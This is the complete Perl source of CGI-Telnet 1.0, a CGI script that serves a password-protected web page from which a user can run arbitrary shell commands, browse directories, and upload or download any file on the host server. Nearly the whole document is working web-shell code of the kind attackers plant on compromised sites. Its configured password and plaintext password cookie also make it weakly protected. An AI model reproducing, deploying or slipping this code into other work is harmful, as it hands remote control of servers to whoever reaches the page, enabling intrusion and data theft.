cgitelnet

#!/usr/bin/perl
#------------------------------------------------------------------------------
# Copyright and Licence
#------------------------------------------------------------------------------
# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server
#
# Copyright (C) 2001 Rohitab Batra
# Permission is granted to use, distribute and modify this script so long
# as this copyright notice is left intact. If you make changes to the script
# please document them and inform me. If you would like any changes to be made
# in this script, you can e-mail me.
#
# Author: Rohitab Batra
# Author e-mail: rohitab@rohitab.com
# Author Homepage: http://www.rohitab.com/
# Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html
# Product Support: http://www.rohitab.com/support/
# Discussion Forum: http://www.rohitab.com/discuss/
# Mailing List: http://www.rohitab.com/mlist/
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Installation
#------------------------------------------------------------------------------
# To install this script
#
# 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on
#    your server. For most servers, you may not need to modify this.
# 2. Change the password in the Configuration section below.
# 3. If you're running the script under Windows NT, set $WinNT = 1 in the
#    Configuration Section below.
# 4. Upload the script to a directory on your server which has permissions to
#    execute CGI scripts. This is usually cgi-bin. Make sure that you upload
#    the script in ASCII mode.
# 5. Change the permission (CHMOD) of the script to 755.
# 6. Open the script in your web browser. If you uploaded the script in
#    cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
# 7. Login using the password that you specified in Step 2.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Configuration: You need to change only $Password and $WinNT. The other
# values should work fine for most systems.
#------------------------------------------------------------------------------
$Password = "sparep4rts";       # Change this. You will need to enter this
                # to login.

$WinNT = 0;         # You need to change the value of this to 1 if
                # you're running this script on a Windows NT
                # machine. If you're running it on Unix, you
                # can leave the value as it is.

$NTCmdSep = "&";        # This character is used to seperate 2 commands
                # in a command line on Windows NT.

$UnixCmdSep = ";";      # This character is used to seperate 2 commands
                # in a command line on Unix.

$CommandTimeoutDuration = 10;   # Time in seconds after commands will be killed
                # Don't set this to a very large value. This is
                # useful for commands that may hang or that
                # take very long to execute, like "find /".
                # This is valid only on Unix servers. It is
                # ignored on NT Servers.

$ShowDynamicOutput = 1;     # If this is 1, then data is sent to the
                # browser as soon as it is output, otherwise
                # it is buffered and send when the command
                # completes. This is useful for commands like
                # ping, so that you can see the output as it
                # is being generated.

# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!

$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
$CmdPwd = ($WinNT ? "cd" : "pwd");
$PathSep = ($WinNT ? "\\" : "/");
$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");

#------------------------------------------------------------------------------
# Reads the input sent by the browser and parses the input variables. It
# parses GET, POST and multipart/form-data that is used for uploading files.
# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
# Other variables can be accessed using $in{'var'}, where var is the name of
# the variable. Note: Most of the code in this function is taken from other CGI
# scripts.
#------------------------------------------------------------------------------
sub ReadParse
{
    local (*in) = @_ if @_;
    local ($i, $loc, $key, $val);

    $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;

    if($ENV{'REQUEST_METHOD'} eq "GET")
    {
        $in = $ENV{'QUERY_STRING'};
    }
    elsif($ENV{'REQUEST_METHOD'} eq "POST")
    {
        binmode(STDIN) if $MultipartFormData & $WinNT;
        read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
    }

    # handle file upload data
    if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
    {
        $Boundary = '--'.$1; # please refer to RFC1867
        @list = split(/$Boundary/, $in);
        $HeaderBody = $list[1];
        $HeaderBody =~ /\r\n\r\n|\n\n/;
        $Header = $`;
        $Body = $';
        $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
        $in{'filedata'} = $Body;
        $Header =~ /filename=\"(.+)\"/;
        $in{'f'} = $1;
        $in{'f'} =~ s/\"//g;
        $in{'f'} =~ s/\s//g;

        # parse trailer
        for($i=2; $list[$i]; $i++)
        {
            $list[$i] =~ s/^.+name=$//;
            $list[$i] =~ /\"(\w+)\"/;
            $key = $1;
            $val = $';
            $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
            $val =~ s/%(..)/pack("c", hex($1))/ge;
            $in{$key} = $val;
        }
    }
    else # standard post data (url encoded, not multipart)
    {
        @in = split(/&/, $in);
        foreach $i (0 .. $#in)
        {
            $in[$i] =~ s/\+/ /g;
            ($key, $val) = split(/=/, $in[$i], 2);
            $key =~ s/%(..)/pack("c", hex($1))/ge;
            $val =~ s/%(..)/pack("c", hex($1))/ge;
            $in{$key} .= "\0" if (defined($in{$key}));
            $in{$key} .= $val;
        }
    }
}

#------------------------------------------------------------------------------
# Prints the HTML Page Header
# Argument 1: Form item name to which focus should be set
#------------------------------------------------------------------------------
sub PrintPageHeader
{
    $EncodedCurrentDir = $CurrentDir;
    $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
    print "Content-type: text/html\n\n";
    print <<END;
<html>
<head>
<title>CGI-Telnet Version 1.0</title>
$HtmlMetaHeader
</head>
<body onLoad="document.f.@_.focus()" bgcolor="#000000" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
<table border="1" width="100%" cellspacing="0" cellpadding="2">
<tr>
<td bgcolor="#C2BFA5" bordercolor="#000080" align="center">
<b><font color="#000080" size="2">#</font></b></td>
<td bgcolor="#000080"><font face="Verdana" size="2" color="#FFFFFF"><b>CGI-Telnet Version 1.0 - Connected to $ServerName</b></font></td>
</tr>
<tr>
<td colspan="2" bgcolor="#C2BFA5"><font face="Verdana" size="2">
<a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> |
<a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> |
<a href="$ScriptLocation?a=logout">Disconnect</a> |
<a href="http://www.rohitab.com/cgiscripts/cgitelnet.html">Help</a>
</font></td>
</tr>
</table>
<font color="#C0C0C0" size="3">
END
}

#------------------------------------------------------------------------------
# Prints the Login Screen
#------------------------------------------------------------------------------
sub PrintLoginScreen
{
    $Message = q$<pre><font color="#669999"> _____  _____  _____          _____        _               _
/  __ \|  __ \|_   _|        |_   _|      | |             | |
| /  \/| |  \/  | |   ______   | |    ___ | | _ __    ___ | |_
| |    | | __   | |  |______|  | |   / _ \| || '_ \  / _ \| __|
| \__/\| |_\ \ _| |_           | |  |  __/| || | | ||  __/| |_
 \____/ \____/ \___/           \_/   \___||_||_| |_| \___| \__| 1.0

</font><font color="#FF0000">                      ______             </font><font color="#AE8300">© 2001, Rohitab Batra</font><font color="#FF0000">
                   .-&quot;      &quot;-.
                  /            \
                 |              |
                 |,  .-.  .-.  ,|
                 | )(_o/  \o_)( |
                 |/     /\     \|
       (@_       (_     ^^     _)
  _     ) \</font><font color="#808080">_______</font><font color="#FF0000">\</font><font color="#808080">__</font><font color="#FF0000">|IIIIII|</font><font color="#808080">__</font><font color="#FF0000">/</font><font color="#808080">_______________________
</font><font color="#FF0000"> (_)</font><font color="#808080">@8@8</font><font color="#FF0000">{}</font><font color="#808080">&lt;________</font><font color="#FF0000">|-\IIIIII/-|</font><font color="#808080">________________________&gt;</font><font color="#FF0000">
        )_/        \          /
       (@           `--------`
             </font><font color="#AE8300">W A R N I N G: Private Server</font></pre>
$;
#'
    print <<END;
<code>
Trying $ServerName...<br>
Connected to $ServerName<br>
Escape character is ^]
<code>$Message
END
}

#------------------------------------------------------------------------------
# Prints the message that informs the user of a failed login
#------------------------------------------------------------------------------
sub PrintLoginFailedMessage
{
    print <<END;
<code>
<br>login: admin<br>
password:<br>
Login incorrect<br><br>
</code>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form for logging in
#------------------------------------------------------------------------------
sub PrintLoginForm
{
    print <<END;
<code>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="a" value="login">
login: admin<br>
password:<input type="password" name="p">
<input type="submit" value="Enter">
</form>
</code>
END
}

#------------------------------------------------------------------------------
# Prints the footer for the HTML Page
#------------------------------------------------------------------------------
sub PrintPageFooter
{
    print "</font></body></html>";
}

#------------------------------------------------------------------------------
# Retreives the values of all cookies. The cookies can be accesses using the
# variable $Cookies{''}
#------------------------------------------------------------------------------
sub GetCookies
{
    @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
    foreach $cookie(@httpcookies)
    {
        ($id, $val) = split(/=/, $cookie);
        $Cookies{$id} = $val;
    }
}

#------------------------------------------------------------------------------
# Prints the screen when the user logs out
#------------------------------------------------------------------------------
sub PrintLogoutScreen
{
    print "<code>Connection closed by foreign host.<br><br></code>";
}

#------------------------------------------------------------------------------
# Logs out the user and allows the user to login again
#------------------------------------------------------------------------------
sub PerformLogout
{
    print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
    &PrintPageHeader("p");
    &PrintLogoutScreen;
    &PrintLoginScreen;
    &PrintLoginForm;
    &PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function is called to login the user. If the password matches, it
# displays a page that allows the user to run commands. If the password doens't
# match or if no password is entered, it displays a form that allows the user
# to login
#------------------------------------------------------------------------------
sub PerformLogin
{
    if($LoginPassword eq $Password) # password matched
    {
        print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
        &PrintPageHeader("c");
        &PrintCommandLineInputForm;
        &PrintPageFooter;
    }
    else # password didn't match
    {
        &PrintPageHeader("p");
        &PrintLoginScreen;
        if($LoginPassword ne "") # some password was entered
        {
            &PrintLoginFailedMessage;
        }
        &PrintLoginForm;
        &PrintPageFooter;
    }
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to enter commands
#------------------------------------------------------------------------------
sub PrintCommandLineInputForm
{
    $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
    print <<END;
<code>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="a" value="command">
<input type="hidden" name="d" value="$CurrentDir">
$Prompt
<input type="text" name="c">
<input type="submit" value="Enter">
</form>
</code>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to download files
#------------------------------------------------------------------------------
sub PrintFileDownloadForm
{
    $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
    print <<END;
<code>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="d" value="$CurrentDir">
<input type="hidden" name="a" value="download">
$Prompt download<br><br>
Filename: <input type="text" name="f" size="35"><br><br>
Download: <input type="submit" value="Begin">
</form>
</code>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to upload files
#------------------------------------------------------------------------------
sub PrintFileUploadForm
{
    $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
    print <<END;
<code>
<form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
$Prompt upload<br><br>
Filename: <input type="file" name="f" size="35"><br><br>
Options: &nbsp;<input type="checkbox" name="o" value="overwrite">
Overwrite if it Exists<br><br>
Upload:&nbsp;&nbsp;&nbsp;<input type="submit" value="Begin">
<input type="hidden" name="d" value="$CurrentDir">
<input type="hidden" name="a" value="upload">
</form>
</code>
END
}

#------------------------------------------------------------------------------
# This function is called when the timeout for a command expires. We need to
# terminate the script immediately. This function is valid only on Unix. It is
# never called when the script is running on NT.
#------------------------------------------------------------------------------
sub CommandTimeout
{
    if(!$WinNT)
    {
        alarm(0);
        print <<END;
</xmp>
<code>
Command exceeded maximum time of $CommandTimeoutDuration second(s).
<br>Killed it!
<code>
END
        &PrintCommandLineInputForm;
        &PrintPageFooter;
        exit;
    }
}

#------------------------------------------------------------------------------
# This function is called to execute commands. It displays the output of the
# command and allows the user to enter another command. The change directory
# command is handled differently. In this case, the new directory is stored in
# an internal variable and is used each time a command has to be executed. The
# output of the change directory command is not displayed to the users
# therefore error messages cannot be displayed.
#------------------------------------------------------------------------------
sub ExecuteCommand
{
    if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
    {
        # we change the directory internally. The output of the
        # command is not displayed.

        $OldDir = $CurrentDir;
        $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
        chop($CurrentDir = `$Command`);
        &PrintPageHeader("c");
        $Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ ";
        print "<code>$Prompt $RunCommand</code>";
    }
    else # some other command, display the output
    {
        &PrintPageHeader("c");
        $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
        print "<code>$Prompt $RunCommand</code><xmp>";
        $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
        if(!$WinNT)
        {
            $SIG{'ALRM'} = \&CommandTimeout;
            alarm($CommandTimeoutDuration);
        }
        if($ShowDynamicOutput) # show output as it is generated
        {
            $|=1;
            $Command .= " |";
            open(CommandOutput, $Command);
            while(<CommandOutput>)
            {
                $_ =~ s/(\n|\r\n)$//;
                print "$_\n";
            }
            $|=0;
        }
        else # show output after command completes
        {
            print `$Command`;
        }
        if(!$WinNT)
        {
            alarm(0);
        }
        print "</xmp>";
    }
    &PrintCommandLineInputForm;
    &PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function displays the page that contains a link which allows the user
# to download the specified file. The page also contains a auto-refresh
# feature that starts the download automatically.
# Argument 1: Fully qualified filename of the file to be downloaded
#------------------------------------------------------------------------------
sub PrintDownloadLinkPage
{
    local($FileUrl) = @_;
    if(-e $FileUrl) # if the file exists
    {
        # encode the file link so we can send it to the browser
        $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
        $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
        $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
        &PrintPageHeader("c");
        print <<END;
<code>
Sending File $TransferFile...<br>
If the download does not start automatically,
<a href="$DownloadLink">Click Here</a>.
</code>
END
        &PrintCommandLineInputForm;
        &PrintPageFooter;
    }
    else # file doesn't exist
    {
        &PrintPageHeader("f");
        print "<code>Failed to download $FileUrl: $!</code>";
        &PrintFileDownloadForm;
        &PrintPageFooter;
    }
}

#------------------------------------------------------------------------------
# This function reads the specified file from the disk and sends it to the
# browser, so that it can be downloaded by the user.
# Argument 1: Fully qualified pathname of the file to be sent.
#------------------------------------------------------------------------------
sub SendFileToBrowser
{
    local($SendFile) = @_;
    if(open(SENDFILE, $SendFile)) # file opened for reading
    {
        if($WinNT)
        {
            binmode(SENDFILE);
            binmode(STDOUT);
        }
        $FileSize = (stat($SendFile))[7];
        ($Filename = $SendFile) =~  m!([^/^\\]*)$!;
        print "Content-Type: application/x-unknown\n";
        print "Content-Length: $FileSize\n";
        print "Content-Disposition: attachment; filename=$1\n\n";
        print while(<SENDFILE>);
        close(SENDFILE);
    }
    else # failed to open file
    {
        &PrintPageHeader("f");
        print "<code>Failed to download $SendFile: $!</code>";
        &PrintFileDownloadForm;
        &PrintPageFooter;
    }
}


#------------------------------------------------------------------------------
# This function is called when the user downloads a file. It displays a message
# to the user and provides a link through which the file can be downloaded.
# This function is also called when the user clicks on that link. In this case,
# the file is read and sent to the browser.
#------------------------------------------------------------------------------
sub BeginDownload
{
    # get fully qualified path of the file to be downloaded
    if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
        (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
    {
        $TargetFile = $TransferFile;
    }
    else # path is relative
    {
        chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
        $TargetFile .= $PathSep.$TransferFile;
    }

    if($Options eq "go") # we have to send the file
    {
        &SendFileToBrowser($TargetFile);
    }
    else # we have to send only the link page
    {
        &PrintDownloadLinkPage($TargetFile);
    }
}

#------------------------------------------------------------------------------
# This function is called when the user wants to upload a file. If the
# file is not specified, it displays a form allowing the user to specify a
# file, otherwise it starts the upload process.
#------------------------------------------------------------------------------
sub UploadFile
{
    # if no file is specified, print the upload form again
    if($TransferFile eq "")
    {
        &PrintPageHeader("f");
        &PrintFileUploadForm;
        &PrintPageFooter;
        return;
    }
    &PrintPageHeader("c");

    # start the uploading process
    print "<code>Uploading $TransferFile to $CurrentDir...<br>";

    # get the fullly qualified pathname of the file to be created
    chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
    $TransferFile =~ m!([^/^\\]*)$!;
    $TargetName .= $PathSep.$1;

    $TargetFileSize = length($in{'filedata'});
    # if the file exists and we are not supposed to overwrite it
    if(-e $TargetName && $Options ne "overwrite")
    {
        print "Failed: Destination file already exists.<br>";
    }
    else # file is not present
    {
        if(open(UPLOADFILE, ">$TargetName"))
        {
            binmode(UPLOADFILE) if $WinNT;
            print UPLOADFILE $in{'filedata'};
            close(UPLOADFILE);
            print "Transfered $TargetFileSize Bytes.<br>";
            print "File Path: $TargetName<br>";
        }
        else
        {
            print "Failed: $!<br>";
        }
    }
    print "</code>";
    &PrintCommandLineInputForm;
    &PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function is called when the user wants to download a file. If the
# filename is not specified, it displays a form allowing the user to specify a
# file, otherwise it displays a message to the user and provides a link
# through  which the file can be downloaded.
#------------------------------------------------------------------------------
sub DownloadFile
{
    # if no file is specified, print the download form again
    if($TransferFile eq "")
    {
        &PrintPageHeader("f");
        &PrintFileDownloadForm;
        &PrintPageFooter;
        return;
    }

    # get fully qualified path of the file to be downloaded
    if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
        (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
    {
        $TargetFile = $TransferFile;
    }
    else # path is relative
    {
        chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
        $TargetFile .= $PathSep.$TransferFile;
    }

    if($Options eq "go") # we have to send the file
    {
        &SendFileToBrowser($TargetFile);
    }
    else # we have to send only the link page
    {
        &PrintDownloadLinkPage($TargetFile);
    }
}

#------------------------------------------------------------------------------
# Main Program - Execution Starts Here
#------------------------------------------------------------------------------
&ReadParse;
&GetCookies;

$ScriptLocation = $ENV{'SCRIPT_NAME'};
$ServerName = $ENV{'SERVER_NAME'};
$LoginPassword = $in{'p'};
$RunCommand = $in{'c'};
$TransferFile = $in{'f'};
$Options = $in{'o'};

$Action = $in{'a'};
$Action = "login" if($Action eq ""); # no action specified, use default

# get the directory in which the commands will be executed
$CurrentDir = $in{'d'};
chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");

$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;

if($Action eq "login" || !$LoggedIn) # user needs/has to login
{
    &PerformLogin;
}
elsif($Action eq "command") # user wants to run a command
{
    &ExecuteCommand;
}
elsif($Action eq "upload") # user wants to upload a file
{
    &UploadFile;
}
elsif($Action eq "download") # user wants to download a file
{
    &DownloadFile;
}
elsif($Action eq "logout") # user wants to logout
{
    &PerformLogout;
}